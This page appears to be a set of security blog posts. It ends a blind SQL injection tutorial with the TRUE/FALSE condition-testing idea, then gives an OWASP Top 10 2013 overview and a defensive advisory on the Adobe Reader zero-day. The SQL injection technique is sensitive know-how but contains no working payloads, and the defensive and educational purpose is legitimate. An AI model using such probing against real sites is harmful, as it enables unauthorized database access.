If the query is TRUE,it'll resulting 1 where 1 is TRUE condition. Else, it'll resulting 0 where 0 is FALSE condition.

1=2 is wrong,so it'll resulting 0,FALSE.

1=1 is correct,so it'll resulting 1,TRUE.

iii. Time Based

I will explain the time based technique in his my upcoming guest post on RHA. 

and there are more techniques in SQLi out there. This just a basic way to detect Blind SQLi based on my knowledge and experience. Do have some read and research on them as well. You might find a new way on exploiting, who knows right? :D

That's all guys!

About The Author

Yappare is a web application security Professional, He has been listed in lots of hall of fames and has found lots of high risk vulnerabilities inside lots of CMS platforms. You can follow him on @yappare

OWASP TOP 10 Security RISKS For 2013

The OWASP or the Open Web Application Security Project's "top 10" has been designed to raise awareness about crucial security threats faced by organisations. The data is based on 8 companies specialising in application security out of which 4 are consulting firms and the rest are tool vendors.

The top 10 are selected on the basis of exploitability, detectability and impact estimate from over 500,000 vulnerabilities spanning over hundreds of organisations and thousands of applications. The purpose of which is to educate developers, designers, architects, managers and organisations regarding web application security weaknesses.

The significance of the top 10 project is to understand what web applications can be prone to. OWASP provides additional information regarding these vulnerabilities that help the reader to prevent and combat such risks.

Cheers!

About the Author:
This article is written by Dr.Sindhia Javed Junejo. She is one of the core members of RHA team.

Adobe Zero Day - How To Protect Yourselves?

A couple of hours ago, we wrote a detailed blog on Adobe's Zero-Day malware, found by Fireeye and investigated by Sophos Lab. The malware consisted of an exploit to hack Adobe Reader and Adobe Acrobat softwares. The recent upgrades of the two softwares have found to be insufficient in providing security to the PC running them. The exploits remain unlatched (as for now) and the user vulnerable.

Adobe is doing its part and has begun by issuing a formal bulletin offering its users advice on the matter:

Adobe has identified critical vulnerabilities (CVE-2013-0640, CVE-2013-0641) in Adobe Reader and Acrobat XI (11.0.01 and earlier), X (10.1.5 and earlier) and 9.5.3 and earlier for Windows and Macintosh. These vulnerabilities could cause the application to crash and potentially allow an attacker to take control of the affected system.

Adobe is aware of reports that these vulnerabilities are being exploited in the wild in targeted attacks designed to trick Windows users into clicking on a malicious PDF file delivered in an email message.

Adobe is in the process of working on a fix for these issues and will update this advisory when a date for the fix has been determined.

Assess If You Are Being Attacked

If you are being attacked by the exploit, you may not realise it for a while. It's not an obvious attack as is the case with many malwares that are found today. The exploit basically takes over Readers using it to inject malware into your PC and reloads Reader with a clean PDF that doesn't look suspicious at all and does not function in an unexpected way. The user is therefore, at ease at what he sees on his PC not doubting it for a second.

Brace Yourself

Windows and Mac users are susceptible to such an exploit. It affects Reader and Acrobat, versions 9, X (10) and XI (11).

Windows users can defend themselves by first upgrading to version XI. Make sure that you do not opt to download the optional software (in this case, Google Chrome and Chrome toolbar) along with the update.

To protect yourself from the attack switch Protected View on:

In addition to a dependable anti-virus software and a firewall along with enforced Protected View, you are less prone to be affected by this malware.

For Mac Users

Mac users do not have a "Protected View" option. However, you can use the built-in Preview application as the default PDF viewer and avoid using Adobe. You can still load and use Reader but on your own terms. By doing so, you wont be as susceptible to the attack as you would be when its running in the background without your knowledge.

In The End

Be careful with what you receive in your emails. Do not open attachments that you receive in your emails unless they are from a trusted sender.

Cheers!

About the Author:

This article is written by Dr.Sindhia Javed Junejo. She is one of the core members of RHA team.